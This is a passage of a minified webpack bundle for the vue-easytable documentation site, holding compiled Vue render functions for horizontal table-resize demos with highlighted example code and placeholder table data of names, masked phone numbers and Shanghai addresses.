,{fields:["hobby"],title:"222",titleAlign:"center",titleCellClassName:"title-cell-class-name-test2"},{fields:["address"],title:"333",titleAlign:"center",titleCellClassName:"title-cell-class-name-test2"}]]}}}},"/iDT":function(module,exports,s){var t=s("VU/8")(s("7jw8"),s("1MAo"),null,null,null);t.options.__file="C:\\Users\\HP\\Desktop\\vue-easytable\\examples\\doc\\table\\horizontal-resize\\main.md",t.esModule&&Object.keys(t.esModule).some(function(s){return"default"!==s&&"__"!==s.substr(0,2)})&&console.error("named exports are not supported in *.vue files."),t.options.functional&&console.error("[vue-loader] main.md: functional components are not supported with templates, they should use render functions."),module.exports=t.exports},"1MAo":function(module,exports,s){module.exports={render:function(){var s=this,t=s.$createElement,a=s._self._c||t;return a("section",[a("demo-box",{attrs:{jsfiddle:{html:'<template>\n <div class="mt30">\n <h3>表格横向自适应</h3>\n\n <div class="mt30">\n <anchor id="horizontal-table-resize" label="简单表格自适应" h4></anchor>\n <horizontal-table-resize></horizontal-table-resize>\n </div>\n\n <div class="mt30">\n <anchor id="container-resize" label="容器中自适应" h4></anchor>\n <container-resize></container-resize>\n </div>\n\n <div class="mt30">\n <anchor id="complex-table-resize" label="复杂表格自适应" h4></anchor>\n <complex-table-resize></complex-table-resize>\n </div>\n </div>\n</template>\n\n',script:"\n\n import horizontalTableResize from './horizontal-table-resize.md'\n import containerResize from './container-resize.md'\n import complexTableResize from './complex-table-resize.md'\n\n export default{\n name: \"horizontal-resize-main\",\n components: {\n horizontalTableResize,\n containerResize,\n complexTableResize\n }\n }\n",style:null},showDemo:!1}},[a("div",{attrs:{slot:"effectHtml"},slot:"effectHtml"},[[a("div",{staticClass:"mt30"},[a("h3",[s._v("表格横向自适应")]),s._v(" "),a("div",{staticClass:"mt30"},[a("anchor",{attrs:{id:"horizontal-table-resize",label:"简单表格自适应",h4:""}}),s._v(" "),a("horizontal-table-resize")],1),s._v(" "),a("div",{staticClass:"mt30"},[a("anchor",{attrs:{id:"container-resize",label:"容器中自适应",h4:""}}),s._v(" "),a("container-resize")],1),s._v(" "),a("div",{staticClass:"mt30"},[a("anchor",{attrs:{id:"complex-table-resize",label:"复杂表格自适应",h4:""}}),s._v(" "),a("complex-table-resize")],1)])]],2),s._v(" "),a("div",{attrs:{slot:"codeDescription"},slot:"codeDescription"}),s._v(" "),a("div",{attrs:{slot:"codeHighlight"},slot:"codeHighlight"},[a("pre",{pre:!0},[a("code",{pre:!0,attrs:{"v-pre":"",class:"hljs language-html"}},[a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("class")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"mt30"')]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("h3")]),s._v(">")]),s._v("表格横向自适应"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("h3")]),s._v(">")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("class")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"mt30"')]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("anchor")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("id")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"horizontal-table-resize"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("label")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"简单表格自适应"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("h4")]),s._v(" >")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("anchor")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("horizontal-table-resize")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("horizontal-table-resize")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("class")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"mt30"')]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("anchor")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("id")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"container-resize"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("label")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"容器中自适应"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("h4")]),s._v(" >")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("anchor")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("container-resize")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("container-resize")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("class")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"mt30"')]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("anchor")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("id")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"complex-table-resize"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("label")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"复杂表格自适应"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("h4")]),s._v(" >")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("anchor")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("complex-table-resize")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("complex-table-resize")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"javascript"}},[s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("import")]),s._v(" horizontalTableResize "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("from")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'./horizontal-table-resize.md'")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("import")]),s._v(" containerResize "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("from")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'./container-resize.md'")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("import")]),s._v(" complexTableResize "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("from")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'./complex-table-resize.md'")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("export")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("default")]),s._v("{\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("name")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"horizontal-resize-main"')]),s._v(",\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("components")]),s._v(": {\n horizontalTableResize,\n containerResize,\n complexTableResize\n }\n }\n")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),s._v("\n")])])])])],1)},staticRenderFns:[]},module.exports.render._withStripped=!0},"7jw8":function(module,exports,s){"use strict";function t(s){return s&&s.__esModule?s:{default:s}}Object.defineProperty(exports,"__esModule",{value:!0});var a=s("9dDN"),r=t(a),e=s("l+Gz"),l=t(e),n=s("W8xQ"),p=t(n);exports.default={name:"horizontal-resize-main",components:{horizontalTableResize:r.default,containerResize:l.default,complexTableResize:p.default}}},"9dDN":function(module,exports,s){module.exports=s("QxFp")},POyf:function(module,exports,s){var t=s("rWtG");"string"==typeof t&&(t=[[module.i,t,""]]),t.locals&&(module.exports=t.locals);s("rjj0")("355d40a4",t,!1,{})},QxFp:function(module,exports,s){var t=s("VU/8")(s("kL3R"),s("lZ6B"),null,null,null);t.options.__file="C:\\Users\\HP\\Desktop\\vue-easytable\\examples\\doc\\table\\horizontal-resize\\horizontal-table-resize.md",t.esModule&&Object.keys(t.esModule).some(function(s){return"default"!==s&&"__"!==s.substr(0,2)})&&console.error("named exports are not supported in *.vue files."),t.options.functional&&console.error("[vue-loader] horizontal-table-resize.md: functional components are not supported with templates, they should use render functions."),module.exports=t.exports},W8xQ:function(module,exports,s){module.exports=s("v3dM")},X5dO:function(module,exports,s){var t=s("VU/8")(s("w1mv"),s("aSyW"),null,null,null);t.options.__file="C:\\Users\\HP\\Desktop\\vue-easytable\\examples\\doc\\table\\horizontal-resize\\container-resize.md",t.esModule&&Object.keys(t.esModule).some(function(s){return"default"!==s&&"__"!==s.substr(0,2)})&&console.error("named exports are not supported in *.vue files."),t.options.functional&&console.error("[vue-loader] container-resize.md: functional components are not supported with templates, they should use render functions."),module.exports=t.exports},"a/32":function(module,exports,s){module.exports=s("/iDT")},aSyW:function(module,exports,s){module.exports={render:function(){var s=this,t=s.$createElement,a=s._self._c||t;return a("section",[a("demo-box",{attrs:{jsfiddle:{html:'<template>\n <div>\n <div style="border:10px dotted orange;width:49%;float:left;">\n <v-table is-horizontal-resize style="width:100%;" :columns="columns" :table-data="tableData" row-hover-color="#eee" row-click-color="#edf7ff"></v-table>\n </div>\n\n <div style="border:10px dotted orange;width:49%;float:right;">\n <v-table is-horizontal-resize style="width:100%;" :columns="columns" :table-data="tableData" row-hover-color="#eee" row-click-color="#edf7ff"></v-table>\n </div>\n <div style="clear:both;"></div>\n </div>\n</template>\n\n\n',script:'\n\n export default{\n data() {\n return {\n tableData: [\n {"name":"赵伟","tel":"156*****1987","hobby":"钢琴、书法、唱歌","address":"上海市黄浦区金陵东路569号17楼"},\n {"name":"李伟","tel":"182*****1538","hobby":"钢琴、书法、唱歌","address":"上海市奉贤区南桥镇立新路12号2楼"},\n {"name":"孙伟","tel":"161*****0097","hobby":"钢琴、书法、唱歌","address":"上海市崇明县城桥镇八一路739号"},\n {"name":"周伟","tel":"197*****1123","hobby":"钢琴、书法、唱歌","address":"上海市青浦区青浦镇章浜路24号"},\n {"name":"吴伟","tel":"183*****6678","hobby":"钢琴、书法、唱歌","address":"上海市松江区乐都西路867-871号"}\n ],\n columns: [\n {field: \'name\', title: \'姓名\', width: 80, titleAlign: \'center\', columnAlign: \'center\',isResize:true},\n {field: \'tel\', title: \'手机号码\', width: 80, titleAlign: \'center\', columnAlign: \'center\',isResize:true},\n {field: \'hobby\', title: \'爱好\', width: 80, titleAlign: \'center\', columnAlign: \'center\',isResize:true},\n {field: \'address\', title: \'地址\', width: 160, titleAlign: \'center\', columnAlign: \'center\',isResize:true},\n ]\n }\n }\n }\n',style:null},showDemo:!0}},[a("div",{attrs:{slot:"effectHtml"},slot:"effectHtml"},[[a("div",[a("div",{staticStyle:{border:"10px dotted orange",width:"49%",float:"left"}},[a("v-table",{staticStyle:{width:"100%"},attrs:{"is-horizontal-resize":"",columns:s.columns,"table-data":s.tableData,"row-hover-color":"#eee","row-click-color":"#edf7ff"}})],1),s._v(" "),a("div",{staticStyle:{border:"10px dotted orange",width:"49%",float:"right"}},[a("v-table",{staticStyle:{width:"100%"},attrs:{"is-horizontal-resize":"",columns:s.columns,"table-data":s.tableData,"row-hover-color":"#eee","row-click-color":"#edf7ff"}})],1),s._v(" "),a("div",{staticStyle:{clear:"both"}})])]],2),s._v(" "),a("div",{attrs:{slot:"codeDescription"},slot:"codeDescription"},[a("p",[s._v("有时同一行可能要放"),a("strong",[s._v("多个自适应的表格")]),s._v(",只需要给每个表格的容器设置显示比例即可")])]),s._v(" "),a("div",{attrs:{slot:"codeHighlight"},slot:"codeHighlight"},[a("pre",{pre:!0},[a("code",{pre:!0,attrs:{"v-pre":"",class:"hljs language-html"}},[a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("style")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"border:10px dotted orange;width:49%;float:left;"')]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("is-horizontal-resize")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("style")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"width:100%;"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":columns")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"columns"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":table-data")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tableData"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-hover-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#eee"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-click-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#edf7ff"')]),s._v("\n >")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("style")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"border:10px dotted orange;width:49%;float:right;"')]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("is-horizontal-resize")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("style")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"width:100%;"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":columns")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"columns"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v(":table-data")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tableData"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-hover-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#eee"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("row-click-color")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"#edf7ff"')]),s._v("\n >")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("v-table")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("style")]),s._v("="),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"clear:both;"')]),s._v(">")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("div")]),s._v(">")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("template")]),s._v(">")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("<"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),a("span",{pre:!0,attrs:{class:"javascript"}},[s._v("\n\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("export")]),s._v(" "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("default")]),s._v("{\n data() {\n "),a("span",{pre:!0,attrs:{class:"hljs-keyword"}},[s._v("return")]),s._v(" {\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("tableData")]),s._v(": [\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"赵伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"156*****1987"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市黄浦区金陵东路569号17楼"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"李伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"182*****1538"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市奉贤区南桥镇立新路12号2楼"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"孙伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"161*****0097"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市崇明县城桥镇八一路739号"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"周伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"197*****1123"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市青浦区青浦镇章浜路24号"')]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"name"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"吴伟"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"tel"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"183*****6678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"hobby"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"钢琴、书法、唱歌"')]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"address"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v('"上海市松江区乐都西路867-871号"')]),s._v("}\n ],\n "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columns")]),s._v(": [\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'name'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'姓名'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("80")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'tel'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'手机号码'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("80")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'hobby'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'爱好'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("80")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n {"),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("field")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'address'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("title")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'地址'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("width")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-number"}},[s._v("160")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("titleAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("columnAlign")]),s._v(": "),a("span",{pre:!0,attrs:{class:"hljs-string"}},[s._v("'center'")]),s._v(","),a("span",{pre:!0,attrs:{class:"hljs-attr"}},[s._v("isResize")]),s._v(":"),a("span",{pre:!0,attrs:{class:"hljs-literal"}},[s._v("true")]),s._v("},\n ]\n }\n }\n }\n")]),a("span",{pre:!0,attrs:{class:"hljs-tag"}},[s._v("</"),a("span",{pre:!0,attrs:{class:"hljs-name"}},[s._v("script")]),s._v(">")]),s._v("\n")])])])])],1)},staticRenderFns:[]},module.exports.render._withStripped=!0},kL3R:function(module,exports,s){"use 